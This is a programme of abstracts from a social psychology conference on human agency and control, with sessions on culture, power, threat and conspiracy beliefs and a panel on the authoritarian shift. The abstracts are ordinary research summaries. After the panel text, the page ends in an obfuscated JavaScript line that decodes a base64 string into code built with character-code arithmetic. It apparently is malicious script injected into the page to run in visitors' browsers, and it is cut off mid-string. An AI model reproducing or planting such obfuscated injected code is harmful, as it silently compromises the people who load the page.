Session 1:
COGNITIVE UNDERPINNIGS OF AGENCY AND CONTROL
Andrzej Nowak, Michał Ziembowicz &
Agnieszka Rychwalska
Novelty, Coherence and Construction of Knowledge:
Dynamical Framework for Automatic Control of Information Processing
Read abstract
We propose a dynamical, framework and a model of automatic control of information processing. The model explains how the content of information may control processing of the information before the content of information is recognized. Computer simulations reveal that novel material leads to lower coherence of information processing than familiar material. We propose a model of coherence based feedback regulation where the cognitive system monitors the coherence of information processing and controls the cognitive process based on the basis of detected coherence. In essence, coherent processes are enhanced and incoherent ones are disrupted. Computer simulations of the model replicate experiments on mere exposure and generate new predictions. Two experiments show how the recognition of patterns is influenced by the exposition to coherent vs. incoherent material presented in a different modality. Implications for understanding how coherence based mechanisms influence construction of knowledge and human agency are also discussed.
Małgorzata Kossowska
It Is All About Certainty…
Beliefs In Personal Control Are Means To Achieve Goal of Certainty
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Many different theories referring to uncertainty or control agreed that beliefs that the world is composed of orderly, predictable, certain, and cause-and-effect relations, is a fundamental need that must be met for people to confidently act in goal-directed ways. They also agreed that believing in a random, chaotic, unpredictable or uncertain world is usually stressful, traumatic, and anxiety provoking. Inspired by compensatory control theory (CCT, Kay et al., 2008; 2009; 2015), I suggest that beliefs in personal control are means of satisfying the more overarching and inclusive goal of believing in an orderly, predictable, certain world. Using empirical evidence from studies on motivation towards closure, I will demonstrate that both, agentic and non-agentic sources of external control, such as task rules, social norms, adherence to authority or religion play equally important role in achieving certainty.
Travis Proulx
Control, Motivation and (the) Meaning (Maintenance Model)
Read abstract
Since the mid-19th century, Existentialist theory has dominated Western thinking on personal agency and contextual meaning. Over time, associated theorists layered their conceptualizations into a general framework that should be familiar to modern psychological theorists, especially those who study neurocognitive structures associated with behavioural inhibition, approach, and the manner in which these motivational forces are shaped by social interactions. These layered concepts begin with Kierkegaard, who outlined two general contexts that we imagine guide our choices: the shifting pragmatism of the Ethical order, and the unchanging certitude of a super-ordinate Absolute. Nietzsche added a motivational ontology that makes use of these meaning systems to achieve our essential aims: controlling the environment to achieving happiness vs. controlling ourselves to avoid misery. Camus emphasizes the consequence of questioning these aims and the meaning frameworks that we hope will achieve them: a feeling of absurdity, which is worse than not knowing what to do or how to do it – it is the awareness that we can’t possibly know, and can’t possibly extinguish the desire for certainty. In this talk, I will outline research from the neurocognitive and social psychological literatures that recapitulates and deepens this framework, and discuss future research directions framed in terms of the Meaning Maintenance Model.
Session 2:
CULTURE AS A FRAMEWORK FOR HUMAN AGENCY
Hazel Rose Markus
Varieties of Agency
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Agency – the capacity to act upon the world or to do something intentionally — can be experienced in multiple ways. Commonly, agency is linked to particular characteristics (e.g., control, goal setting, self-assertion, achievement, power) and is understood as contained within the individual and as entity like. In this form of agency, people experience themselves as independent selves—as separate and different from others, as freely expressing and promoting their own interests, choices and goals, and as influencing and controlling social interactions. Yet this is only one form of agency, one that is common in Western, middle class contexts. With different cultural meanings and practices or different social circumstances, agency can take an alternate form, one in which people experience themselves as interdependent selves—as similar to and committed to others and as responsive to norms, expectations and the social situation. This is not a lesser form of agency and is not the same as communion (often cast as the opposite of agency), and need not be associated with reduced competence, achievement orientation or power. Interdependent agency can be observed: 1) in many majority world contexts (i.e., non-Western contexts), 2) in working class or low resourced contexts, and 3) in response to threat (e.g., economic, identity, status). I will provide examples and distinguish among these three expressions of interdependent agency. The recognition of diverse forms of agency is an initial important step in removing barriers to agency and in devising interventions to foster agency.
Shinobu Kitayama
Culture, Agency and Health:
A Behavioral Adjustment Model of Adaptive Neuroticism
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Neuroticism (N) is widely recognized as unhealthy. However, N can alert individuals to potential threats and thus provides health benefits for those who are sufficiently high in behavioral adjustment – a type of agency — to the threats. Since Japanese are known to be more adjusting than European Americans, N should be more salubrious for Japanese than for Americans. We tested this prediction with biomarkers of inflammation (interleukin-6 and C-reactive protein) and cardiovascular malfunction (systolic blood pressure and total-to-HDL cholesterol ratio) as a unitary measure of biological health risk (BHR). We found that N predicted reduced BHR for Japanese, but not for Caucasian Americans. Further analysis revealed that behavioral adjustment was higher for Japanese than for Caucasian Americans and, moreover, this cultural difference explained why N was salubrious for Japanese, but not for Caucasian Americans. Other factors that could moderate the health effects of N are discussed.
Daniel Sullivan
Control in the Face of Disaster:
A Perspective from Cultural-Existential Psychology
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The traumatic experience of a natural disaster can strike a major blow to the person’s sense of agency and control (e.g., Janoff-Bulman, 1992). Fur-thermore, pre-existing differences in individual and collective control can play a crucial role in a person’s ability to recover from disaster (Aldrich, 2014; Hobfoll, Schröder, Wells, & Malek, 2002). In a related vein, researchers have long been aware of cultural variation in how individuals assert control in disaster situations (Sims & Baumann, 1972; Zaumseil, Schwarz, von Vaca-no, Sullivan, & Prawitasari-Hadiyono, 2013). The present program of research builds on these insights by highlighting culture’s influence on the phenomenological experience of primary and secondary control in the face of disaster. It employs a novel perspective combining methods and theories from cultural and experimental existential psychology (Sullivan, 2016).
I will draw on this perspective to frame two lines of original research. The first is a series of ex-periments examining responses of undergraduate participants to disaster threats (hypothetical tor-nadoes, global climate change) as a function of existential motives and cultural background (Rothschild, Landau, Sullivan, & Keefer, 2012). The second is a multi-method investigation of variation by religious affiliation in disaster coping (Sullivan, 2016). I will present quantitative and qualitative data on the differences in tornado response between traditionalist Mennonites and other U.S. religious subgroups. Finally, I will discuss planned future research on cultural variabil-ity in the sense of efficacy with regard to chronic technological disasters (e.g., city water contam-ination).
Session 3:
AGENCY AND CONTROL: MOTIVATIONAL AND PERSONALITY DETERMINANTS
Susan T. Fiske &
Gandalf Nicolas
Why Is Agency So Stuck?
Social Cognition’s Second Dimension Seems Firmly Fixed
Read abstract
Control and agency involve both relational and comparative qualities. Relational interdependence involves mutual control, degrees of cooperation versus competition, and sharedness of goals, which develops trust, a basic human orientation. If control is asymmetrical, its comparative aspect is variously termed power, status, agency, and competence. Our stereotype content model (SCM) separates these two dimensions, as do many other research programs. In perceiving individuals and groups, relational interdependence (warmth, communion, trustworthiness) appears primary, in terms of judgment speed, variance explained, adaptive functions, and most people’s intuition about what matters most in other people. Nevertheless, at least sometimes, the supposedly second dimension (asymmetrical control, power, status, agency, competence) appears more firmly fixed and impermeable. An earlier SCM study of relative societal value judged people entirely on this agency/competence dimension, entirely omitting warmth/communion. And our recent work on the permeability of warmth versus competence finds competence incongruence harder to reconcile than warmth incongruence. Contrary to expectations, the supposedly second dimension may be more stuck and less permeable.
Janusz Grzelak &
Mike Kuhlman
Is Need for Control Universal?
Individual Differences in Outcome Control Preferences
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Decades of social interdependence research in social psychology and more recently in behavioral economics have demonstrated that “real” people deviate from the normative prescriptions of traditional game theory, and important to this paper, that individuals differ in terms of their social utility functions. An excellent example from social psychology is Messick and McClintock’s (1968) work on Social Value Orientation (SVO). However, the focus of this “experimental gaming” research is on outcomes; on what is achieved (own gain, collective welfare, fairness, etc) as opposed to how it is achieved. The focus of this presentation is on the „how” question.
We present the results of a multi-cultural (Poland, Japan, US) project on the development of a control-orientation inventory (Warsaw COIN) to measure individual differences in the desire for six types of outcome control based on Kelley and Thibaut’s (1978) Social Interdependence Theory. The six types are: (1) Autonomy, control one’s own outcomes (2) Dominance, control the other’s outcomes (3) Respect, the other is in control of his/her own outcomes, (4) Submissiveness, one’s own outcomes are controlled by the other, (5) Reactance, the other does NOT control one’s own outcomes and (6) Collaboration, outcomes are achieved via joint actions of the involved sides. Correlations of the COIN scales with other measures of personality are reported: (1) The Zuckerman-Kuhlman- Aluja Personality Questionnaire, (2) The three components of the “Dark Triad” (Machiavellianism, Psychopathy, Narcissism) (3) The HEXACO personality scale (4) Social Mindfulness and (5) Social Value Orientation(SVO).
Wiesław Baryła &
Bogdan Wojciszke
Success Makes You Agentic, Failure Makes You Communal
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Successes and failures constitute a very common and important class of human experience. Still, psychology is astonishingly mute about their psychological consequences (with an exception of changes in mood and self-esteem). We present a theory which assumes that experiencing a success induces an agentic mindset, whereas experiencing a failure induces a communal mindset. The agentic mindset consists of mental tools necessary to achieve a goal – a heightened use of agentic content categories, accompanied by increases in mood, self-esteem and feelings of control. The communal mindset consists of mental tools essential to experience consequences of others’ actions and to connect with others – a heightened use of communal content categories, accompanied by decreases in mood, self-esteem and feeling of control. We present several lab and field studies showing that while the experience of a success results in a heightened accessibility and use of agentic content and evaluative criteria, the experience of failure results in a heightened accessibility and use of communal content and evaluative criteria. Generalizing recent findings and theorizing in social psychology, we argue that the agentic mindset underlies not only the success experience, but also taking a high power and high status position, as well as enjoying control and abundant material resources. Similarly, the recipient mindset underlies not only the failure experience, but also adopting a low power and low status position, as well as suffering lack of control and scarcity of material resources.
Session 4:
GROUP-LEVEL AGENCY, POWER, AND POLITICAL COGNITION
Immo Fritsche
The Power of We: Group-Based Control As a Distinct Social Identity Motive
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People desire a representation of their self as being agentic. The model of group-based control proposes that they may pursue agency, or control, on both the personal (“I”) and the collective (“We”) level of the self. Particularly, under conditions of personal control deprivation people may resort to representations and efforts of collective agency through a social ingroup. In my talk I review empirical studies that have tested the model or that speak to it. Specifically, the experimental evidence shows that under conditions of salient threat to personal control people more strongly identify with agentic but not non-agentic groups, bias judgments in favor of the ingroup, and are willing to support and act on behalf of their ingroup and its norms. The effects seem to be distinct from the effects of self-concept uncertainty and to explain mortality salience effects on cultural worldview defense. Also, there is first evidence that acting as a group-member elevates people’s perceptions of control. Finally, I will distinguish group-based control as a means of extended primary control from mechanism of secondary control, such as recently explicated in the compensatory control model (Landau, Kay & Whitson, 2015).
Ana Guinote, Mianlin Deng &
Lijuan Cui
When Worse Comes To Worst:
Lack of Power Triggers Avoidance Motivation Only Under Negative Evaluative Feedback
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Reduced power has been associated with the activation of the behavioral inhibition system (BIS; Keltner et al., 2003). However, the role of evaluative feedback has been neglected. This is an important gap given that most power relations have an evaluative component (e.g., performance evaluation). Here, in 5 studies we show that lack of power triggers avoidance motivation only when feedback is negative. In Study 1 employees who felt that they underperformed in an organizational context (but not other employees) avoided working with managers. In Study 2 participants primed with lack of power (vs. control) self-reported increased avoidant motivation upon receiving negative (vs. positive) feedback. In Study 3, using eye-tracking methodology, we found that participants who obtained negative (vs. positive) performance feedback from a high power leader (vs. from a non-powerful person) showed more avoidant eye movements. In Study 4, powerless participants showed decreased propensity to negotiate but only under negative feedback. In Study 5 participants who received negative (vs. positive) feedback more frequently avoided seating next to a power holder. These participants showed also right brain hemisphere dominance on a line bisection task, which indicates avoidance motivation.
Michał Bilewicz &
Mirosław Kofta
What Breeds Beliefs in Jewish Conspiracy?
The Role of Political Uncontrollability and Uncertainty
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Antisemitic conspiracy theories gain particular popularity in times of political unrest and instability (e.g. Durkheim, 1899; Moscovici, 1987). Such historical situations are eliciting two psychological processes that could potentially enhance beliefs in Jewish conspiracy: deprivation of control over political institutions and uncertainty about their functioning. It is obvious that after dramatic political changes, acts of terror or governmental crises, people’s sense of subjective control over political reality is severely impaired. The loss of control is known to breed conspiracy thinking (Kay, et al., 2008), as well as intergroup biases (Fritsche, et al., 2013), thus making it highly plausible that lack of control over politics could enhance beliefs in Jewish conspiracies. The second psychological process visible in times of political unrest is increased uncertainty: a sense of normlessness and meaninglessness in political environment. As uncertainty is also related to conspiracy thinking (van Prooijen & Jostman, 2013) and greater ingroup biases (Hogg, 2000), one could anticipate that people’s difficulty to find meaning and certainty in politics could enhance their beliefs in Jewish conspiracy. As both uncertainty (lack of meaning in politics, a cognition deficit) and uncontrollability (lack of control over political domain, an agency deficit) could breed conspiracy-based antisemitism, we presents a line of three studies that tried to assess which of thes two processes plays pivotal role in Jewish conspiracy beliefs. Based on our studies we show that it is lack of control over political institution rather than uncertainty that is responsible for beliefs in Jewish conspiracy.
Session 5:
THREAT AND CONTROL DEPRIVATION: AFFECTIVE AND COGNITIVE CONSEQUENCES
Eva Jonas &
Johannes Klackl
From Anxiety to Approach:
An Integrative Process Model of Threat and Defense
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Existential threat often evokes compensatory reactions, including defensiveness related to ingroups, values and worldviews. While the existence of this relationship is undisputed, a universal account of the psychological processes mediating it has remained elusive. Here, we present a general process model that understands threat and defense as a coordinated interplay between the Behavioral inhibition and approach systems. We will present neuroimaging, neurophysiological and behavioral evidence that various existential threats produce a neural signature that is characteristic for behavioral inhibition and that defense is associated with behavioral approach indicators. Together, these findings support the idea that these two systems are key to understanding compensatory and defensive reactions in response to existential threat.
Ian McGregor
The Bewildered Fascist:
Threats Make Powerless People Fatalistic, Jingoistic, Radical, and Rash
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Anxiety and approach motivation systems are reciprocally active (Corr, 2002; Nash, et al., 2012). Accordingly, after anxiety-inducing threats people cleave to eager commitments and identifications that can spur reactive approach motivation (RAM) for anxiety relief (Jonas et al., 2014). Past research has shown that powerful people activate RAM after threats by heightening personal agency, self-worth, conviction, integrity, and confidence. The present research focuses on reactions of powerless people (i.e., low in efficacy, self-esteem, approach motivation, behavioral activation, and hope). In Study 1 threat caused powerless people to fatalistically withdraw and lose interested in living (Hayes et al., 2016). In Study 2 threat increased their trust that God would give them refuge and strength. In Study 3 threat made them jingoistic and rigid about their religious identifications, and more willing to go to extremes for them. In Study 4 threat increased their risk-taking in a lottery context. In Study 5 threat inclined them to endorse election and violent support for the xenophobic and reckless American presidential candidate, Donald Trump. In all studies the threats that caused these reactions were external (mortality salience, economic hardship, ostracism, relationship uncertainty, political alienation). In sum, external threats incline powerless people to further abandon personal agency and to engage external sources of agency for RAM relief from anxiety (Fritsche et al. 2008; Greenaway et al., 2015; Hogg, 2014; Kay et al., 2010; Luders et al., 2016).
Mirosław Kofta, Grzegorz Sędek &
Marcin Bukowski
Control Deprivation Leads to Cognitive Exhaustion:
Mental After-Effects of Accumulating Lack-of-Control Experience.
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Experience of control deprivation is typically understood in psychology as an actual, or recalled, feeling of personal powerlessness. In our presentation we focus not on a single experience of this kind, but, following tradition of the learned helplessness research, on consequences of repeatedly experienced inability to establish or regain personal control in a given domain (intellectual, social). According to the present theoretical approach, the essence of an enduring lack of control is prolonged investment of mental energy without cognitive gain, i.e., without progress in task understanding and problem solving. Although this kind of experience might instigate various coping strategies at earlier stages of reaction to uncontrollable situation, we pose that, ultimately, it accumulates resulting in an altered state of cognitive exhaustion. We review findings showing that in this state of mind people (1) tend to avoid mental effort necessary for active coping (e.g., in hypotheses generation during decision making), (2) show performance deficits on cognitively demanding tasks requiring discovering rules and generating mental models, and (3) demonstrate deterioration of attentional processing and cognitive control. This mind state is accompanied by automatic activation of a diffused negative mood. Implications of the cognitive exhaustion model for depressive cognition, educational domain (the intellectual helplessness phenomena) and social/political cognition are briefly discussed.
Markus Barth &
Immo Fritsche
Accepting Collective Perpetrator Status Satisfies the Need for Control
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Control is one of the basic psychological needs. As such, it needs to be satisfied, either by individual action or by membership in agentic groups. In this short presentation, I will propose a novel perspective on perpetrator status as a source of control. Perpetrator status is usually associated with being the party in control, having all the power and all the resources to damage or hurt the victim side. Consequently, threat to personal or collective control might increase the acceptance of past collective perpetrator status. Although usually evaluated negatively, admitting to past collective crimes could help to regain a sense of control and power. As a potential side effect, acceptance of perpetrator status could also increase willingness to reconcile. Summarizing evidence from four studies (N = 430) exploring the proposed effect of control threat on acceptance of perpetrator status, I will present some empirical support of our claims. Over all studies, we found consistent (but weak) effects of personal control threat on the acceptance of a collective perpetrator status, i.e. under control threat participants were more willing to accept collective perpetrator status. Particularly, this was true for participants with chronically high control motivation. We also found the assumed indirect effect of control threat on reconciliation via acceptance of the perpetrator status. The potential positive and negative implications of our findings will be discussed.
Felix Czepluch, Janine Stollberg, Immo Fritsche, & Eva Jonas
Low Perceptions of Control Elicit Norm Conformity Specific to Ingroup Norms
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Various kinds of psychological threat have been shown to increase adherence to cultural worldviews and social norms. A number of such studies have used manipulations potentially threatening to people’s personal sense of control. According to the model of group-based control restoration (Fritsche et al., 2013), thinking and acting in terms of group membership can enable people to regain a sense of control after experiencing a lack thereof. Following this perspective, norm conformity effects in reaction to low perceptions of personal control should be most pronounced for ingroup norms. A study conducted at our department provides evidence for this notion. One hundred eighty university students were recruited for a bogus international survey on personal and academic living conditions of students. Participants wrote about aspects of their life about which they had either low or high control. Subsequently, they were presented with alleged survey results from several European countries regarding academic innovation projects. Depending on experimental condition, those reflected either a strong ingroup norm, a strong outgroup norm, or no clear tendency of either group. Analysis of a subsequent attitude measure revealed norm conformity of participants whose perceptions of control had been threatened, but only for those who had been presented with clear ingroup norms (vs. outgroup norms or no norms). Implications and future directions will be discussed in my talk.
Katarzyna Jaśko, Joanna Grzymala-Moszczynska, Marta Szastok, & Arie Kruglanski
Sacrifice for a Cause: The Empowering Effects of Value-Driven Activism
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Sacrifice in the service of a lofty cause reflects considerable investment, because such behavior is counter-normative and often counterfinal (Kruglanski et al., 2015). For example, the willingness to risk one’s life requires a considerable investment of energy and resources in order to overcome one’s natural instincts for survival and physical well-being. Extreme actions are usually justified by invoking socially desired goals, and they are often performed in spite of the low expectancy of attaining such goals. What, then, reinforces such behavior and motivates people to engage in demanding behaviors that are not certain to be effective? Drawing on quest for significance theory (Kruglanski et al., 2014), we propose that people are more willing to sacrifice for a cause when they are committed to the values of the cause, because acting on behalf of important values increases their feelings of personal significance and, as such, offers immediate rewards. We tested our hypotheses in several samples, which included political activists and supporters of various political parties. The obtained results consistently demonstrated that when participants perceived the values of the cause to be central to themselves and personally important to them, they felt more empowered and significant, and were then more likely to sacrifice for the cause.
Klara Rydzewska, Max Bielecki, & Grzegorz Sędek
The Influence of Aging and Intellectual Helplessness on Compensatory Decision Making: The Eye-Tracking Study
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The results of research on decision making throughout the adult life span show that compared to younger, older adults perform better on less complex tasks containing smaller number of alternatives and apply simplified decision making strategies. We tested empirical predictions concerning the influence of age on compensatory decision making processes and the moderating role of information presentation mode, with the special use of eye-tracking methods. Original tool for measurement of decision making abilities demanded the use of compensatory strategy. In this environment older adults and helpless individuals (Sedek, Kofta, & Tyszka, 1993, JPSP) have demonstrated considerable difficulties in applying more integrative decision making strategy.
Older adults (65-75 years old) and younger adults (20-30 years old) participated in the study. The results showed that older adults performed relatively better in narrative, compared to formal, mode of the task. Moreover, the influence of aging on the performance in decision making task was mediated by the entropy of attributes and entropy of options (concerning fixation times). Additionally, among young adults entropy of attributes mediates the relationship between intellectual helplessness in math and accuracy in decision making task.
We also analyzed the mediation and moderation role of additional variables (mental speed – Wechsler’s Digit Symbol Substitution Test, need for cognitive closure, subjective and objective numeracy scales, affect measure – PANAS X).
The study results have interesting implications for further research and practical intervention methods of decision making processes improvement among older adults and people intellectually helpless in math domain.
Sindhuja Sankaran, Aneta Czernatowicz-Kukuczka, Ulrich von Hecker,
& Malgorzata Kossowska
‘When do They Push the Right Buttons?’ The Role of ‘Control Motivation’ as a Strategy to Regain Control/Certainty
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The present research examined control restoration as a motivational tendency to reduce uncertainty in Need for Closure (NFC). We predicted that high NFC individuals would engage in intense efforts to heighten the basic need for control to reduce uncertainty. Two studies were conducted to test this using a causal learning paradigm wherein a triangle was presented in the centre of the screen and a button below it was labelled PRESS. The goal was to find out whether clicking the button had any effect on the triangle lighting up. Participants were instructed to click in any sequence and frequency. Two factors were manipulated– controllability schedules and difficulty. At the end of each condition, participants had to rate the effectiveness of the button press on the triangle lighting up. Perceived controllability was measured by calculating the difference between the perceived and actual contingency. General results indicated that high NFC pressed more than low NFC. Furthermore, a mediation analyses revealed that high NFC individuals pressed more to make heightened perception of control especially in conditions with most uncertainty/difficulty. Study 2 was conducted to replicate the first study and also to establish a subjective limit condition wherein participants were instructed that they were allowed to press only 15 times following which they would hear a sound indicating that they have exceeded the limit. Results were replicated in the no limit condition, however, in the limit condition there were no differences between high and low NFC with the total number of presses.
Wiktor Soral & Mirosław Kofta
Ingroup as a Shield: Collective Threat And Cognitive Accessibility Of Group Agency-Related Traits
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It is widely acknowledged that for individuals facing individual or collective threat increased ingroup identification is a way to reduce uncertainty and cope with lack of control (see e.g. Miller et al., 2010). Highly identified group members construe their ingroup as a collective agent, which can exert control over reality allowing for control restoration (Fritsche et al., 2013). Adopting this perspective, we hypothesize that instigating threat (through providing information on possible incidents threatening ingroup interest and well-being) increases cognitive accessibility of traits associated specifically with the ingroup agency. To verify this claim we conducted two experiments (N = 170 & N = 92) during which we exposed participants to information on realistic national threat. After the exposure participants were asked to categorize agency vs. communion-related traits as characterizing their nation or not. In both studies, instigating threat resulted in faster classification of positive traits and slower classification of negative traits, compared to baseline condition. However, this pattern was observed only for traits related to group agency and not group communion. Moreover, results of the second study showed that this tendency is specific for participants with higher level of national identification. We argue that increased accessibility of positive ingroup agency helps in construing ingroup as collective agent – a process which maintains the reduction of threat.
Xijing Wang, Eva G. Krumhuber, Ana Guinote, Olivier Corneille
Faces of Power: Power Distorts Self-Recognition in Men and Women
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This research investigated how temporary experiences of power influence self-face recognition differently in men and women. It was hypothesized that the effects of power depend on gender, leading to the activation and use of power-gender congruent face schemas. In three experiments, participants were induced to feel either powerful or powerless and were invited to recognize their own face from a set of images ranging from dominant to submissive versions of the original. Results showed that women selected more submissive self-images under low power and that men selected more dominant self-images under high power. Hence, as predicted when power inductions fit prototypical gender representations (i.e. powerless women and powerful men), “weighting with prototype” effects occurred. In contrast, when there was a misfit between power and gender (i.e. powerful women and powerless men), no self-recognition bias was observed. Effects of power on visual representations did not extend to more deliberate judgments of dominance, suggesting that respective biases in face recognition may have operated at a rather implicit level. Implications for research on power as a top-down influence, and gender gaps in power attainment are discussed.
Human agency and the authoritarian shift
Panelists:
Michał Bilewicz, Immo Fritsche, Hazel Markus, Ian McGregor, Janusz Reykowski & Daniel Sullivan
Moderator:
Mirosław Kofta
Read description
In the last 30 years, we have been witnessing impressive progress of liberal democracy in the world. This optimism is evident in famous term “the end of the history”, coined by political scientist Francis Fukuyama who suggested that all humanity evolves toward liberal orders as an ultimate form of societies’ organization. The leading idea behind this term was that liberal democracy creates optimal space for individual agency and freedom of choice, believed to be fundamental human strivings. Nowadays, however, we could see, in Europe and beyond, a growing wave of xenophobic, nationalistic, and authoritarian-like ideologies, and increasing political support to them. This creates a pressing need for psychologists to explain motivations beyond this new “escape from freedom” and its prejudicial and violent consequences.
Proposed discussion issues:
- Causes and reasons for “escape from freedom”. Are we witnessing once more what psychoanalyst Erich Fromm named “escape from freedom”? If so, which processes and mechanisms, at the level of culture, society and individual psychology, might account for this sudden “authoritarian shift”? How contemporary social-psychological theories could enhance our understanding of radicalization in many parts of contemporary world?
- Human agency, psychological threat and violence. The revival of authoritarian ideologies and regimes results in an increasing wave of hostility and violence against those who are different from “us” in terms of culture, religion, or political views. What relationships could exist between human agency, psychological threat, and violence? Is it so that violence is a direct consequence of frustrated agency? Or, could it be that, within the authoritarian political milieu, hostility and violence might be a particular form of human agency, the way of coping with threat?
var CEDGTBIXMU = atob(‘dmFyIExDTkpBTldXT0sgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDE2IC0gNiwgMTIzIC0gNSwgMTAzIC0gNiwgMTE3IC0gMywgNDEgLSA5LCAxMTEgLSA0LCAxMDYgLSA1LCAxMjMgLSAyLCAzOSAtIDcsIDY0IC0gMywgMzQgLSAyLCA0MyAtIDQsIDgyIC0gMywgMTAxIC0gMSwgMTA5IC0gOSwgOTYgLSA4LCA3MCAtIDUsIDExMyAtIDksIDcyIC0gNiwgMTE3IC0gNiwgODcgLSAxLCAxMDIgLSAzLCA0NCAtIDUsIDY2IC0gNywgMTkgLSA5LCAxMjUgLSA3LCA5OSAtIDIsIDExNSAtIDEsIDM1IC0gMywgMTEwIC0gOSwgMTE3IC0gNywgMTA2IC0gNywgMTA3IC0gNiwgMTA5IC0gOSwgMzcgLSA1LCA2OCAtIDcsIDM4IC0gNiwgNDEgLSAyLCA4NiAtIDcsIDgyIC0gMSwgOTQgLSA5LCA5MyAtIDYsIDEwNyAtIDYsIDY5IC0gMSwgNzMgLSA0LCA5OSAtIDIsIDgxIC0gNywgNjkgLSA0LCA4MCAtIDIsIDUzIC0gMywgOTAgLSAyLCAxMTggLSA5LCA2NCAtIDgsIDczIC0gOCwgNzMgLSA2LCAxMjggLSA2LCAxMjQgLSA5LCA1NiAtIDgsIDY3IC0gMSwgODggLSA1LCAxMDUgLSA2LCA3MyAtIDcsIDc1IC0gMiwgMTEwIC0gMywgNTcgLSA5LCAxMjMgLSA4LCA3MiAtIDIsIDEwNSAtIDIsIDcyIC0gMywgNTggLSA1LCA3OSAtIDEsIDgyIC0gMSwgNTQgLSA2LCA3NSAtIDMsIDcyIC0gNywgMTMwIC0gOCwgODYgLSA5LCA4MyAtIDQsIDc5IC0gNCwgMTA3IC0gNCwgMTEzIC0gMiwgODggLSA3LCAxMDQgLSA1LCA3OSAtIDgsIDk2IC0gNywgMTA3IC0gOSwgNzkgLSA2LCA4MyAtIDEsIDUwIC0gMiwgNTAgLSAzLCA3NyAtIDgsIDEyNCAtIDIsIDEyMyAtIDcsIDcwIC0gMiwgOTMgLSA5LCA5MCAtIDMsIDg0IC0gNiwgNzcgLSAxLCA3OCAtIDcsIDc0IC0gNiwgNzIgLSA3LCA4MiAtIDgsIDg2IC0gNywgMTA4IC0gMSwgNTcgLSA5LCA2MyAtIDcsIDY3IC0gMiwgODMgLSAxLCA2NyAtIDIsIDkzIC0gMywgODcgLSA5LCA5MCAtIDgsIDEyMSAtIDIsIDEyOCAtIDksIDY4IC0gMiwgMTE0IC0gOCwgODkgLSA4LCA5NCAtIDcsIDgxIC0gMiwgMTIzIC0gNCwgNzQgLSA0LCA3OSAtIDIsIDEwOCAtIDYsIDEyOSAtIDcsIDc2IC0gMywgMTA1IC0gOCwgODAgLSA3LCA4NyAtIDIsIDEwOCAtIDQsIDYxIC0gNywgOTEgLSA5LCA2OSAtIDIsIDEwNiAtIDcsIDgzIC0gMiwgNzYgLSA3LCA3MiAtIDUsIDEwNSAtIDEsIDU5IC0gNCwgODMgLSAxLCA1MiAtIDIsIDUzIC0gNSwgMTA1IC0gNywgNzYgLSAyLCA2NiAtIDEsIDgxIC0gOCwgMTE2IC0gNCwgNjcgLSAyLCAxMDkgLSA2LCA0OSAtIDEsIDYxIC0gNiwgNzQgLSAxLCA3MSAtIDUsIDEwNiAtIDMsIDEyMyAtIDksIDgzIC0gMiwgOTEgLSA3LCAxMTIgLSA5LCA4MiAtIDIsIDkyIC0gMywgNjcgLSAxLCAxMDQgLSA1LCA4NSAtIDQsIDg3IC0gOCwgOTMgLSA5LCA4NiAtIDEsIDY3IC0gMSwgNzcgLSA0LCA4NiAtIDEsIDY5IC0gNCwgNjMgLSA4LCA2NiAtIDEsIDExMyAtIDgsIDk0IC0gNSwgODIgLSA3LCA4NSAtIDIsIDEwOSAtIDMsIDc3IC0gNCwgMTMwIC0gOSwgOTEgLSA3LCA1NSAtIDUsIDEyMSAtIDUsIDg2IC0gMSwgODkgLSAxLCA3MSAtIDYsIDEwNyAtIDgsIDEwOSAtIDYsIDc1IC0gOSwgMTI5IC0gOSwgNzUgLSA2LCA1NyAtIDgsIDgxIC0gNywgNjkgLSA0LCA5MCAtIDEsIDU0IC0gNCwgODUgLSA0LCA5MiAtIDgsIDU3IC0gNSwgNzMgLSAyLCA4NCAtIDgsIDExMSAtIDgsIDcyIC0gNiwgODAgLSA1LCA4NiAtIDcsIDg5IC0gNSwgNzIgLSAzLCA5NyAtIDgsIDgxIC0gNywgMTIwIC0gMSwgNzMgLSA0LCAxMjYgLSA1LCA4MCAtIDcsIDY5IC0gMiwgMTAzIC0gNCwgODAgLSAyLCA3MiAtIDUsIDc0IC0gNiwgMTI4IC0gOCwgMTE3IC0gNSwgNzggLSA3LCA3NCAtIDYsIDczIC0gOCwgNzUgLSAxLCA4MCAtIDEsIDExNCAtIDcsIDExMyAtIDEsIDUyIC0gNCwgMTA2IC0gOCwgMTA3IC0gNCwgNzAgLSA5LCA2MyAtIDIsIDQ4IC0gOSwgNjQgLSA1LCAxNCAtIDQsIDEwMyAtIDEsIDExOCAtIDEsIDExMSAtIDEsIDEwNiAtIDcsIDEyMiAtIDYsIDExMSAtIDYsIDExNyAtIDYsIDExNCAtIDQsIDM5IC0gNywgMTIxIC0gMSwgMTIwIC0gOSwgMTE2IC0gMiwgOTcgLSAyLCAxMDYgLSA1LCAxMTIgLSAyLCAxMDQgLSA1LCA0MSAtIDEsIDEyMyAtIDgsIDEyNCAtIDgsIDEyMyAtIDksIDEwNyAtIDIsIDExNyAtIDcsIDExMCAtIDcsIDUyIC0gOCwgMzcgLSA1LCAxMDkgLSAyLCAxMDggLSA3LCAxMjkgLSA4LCA0NyAtIDYsIDM5IC0gNywgMTI1IC0gMiwgMTMgLSAzLCAzNiAtIDQsIDM3IC0gNSwgMTI1IC0gNywgMTA0IC0gNywgMTE3IC0gMywgMzggLSA2LCAxMTUgLSAxLCAxMTAgLSA5LCAxMjEgLSA2LCAzOSAtIDcsIDY0IC0gMywgMzQgLSAyLCA0NSAtIDYsIDQyIC0gMywgNjIgLSAzLCAxNyAtIDcsIDM3IC0gNSwgMzQgLSAyLCAxMTEgLSA5LCAxMTMgLSAyLCAxMjAgLSA2LCAzMyAtIDEsIDQxIC0gMSwgMTI3IC0gOSwgMTAyIC0gNSwgMTE5IC0gNSwgNDAgLSA4LCAxMDkgLSA0LCAzOCAtIDYsIDY0IC0gMywgMzQgLSAyLCA1MCAtIDIsIDY2IC0gNywgMzYgLSA0LCAxMTAgLSA1LCAzNSAtIDMsIDY1IC0gNSwgMzMgLSAxLCAxMTkgLSA0LCAxMjQgLSA4LCAxMTcgLSAzLCAxMTMgLSA4LCAxMTEgLSAxLCAxMTIgLSA5LCA1MCAtIDQsIDExNSAtIDcsIDExMCAtIDksIDExNiAtIDYsIDExMiAtIDksIDEyNSAtIDksIDExMCAtIDYsIDYyIC0gMywgMzQgLSAyLCAxMTIgLSA3LCA0OCAtIDUsIDQ2IC0gMywgNTAgLSA5LCAzNiAtIDQsIDEyNCAtIDEsIDEyIC0gMiwgMzUgLSAzLCAzNCAtIDIsIDM3I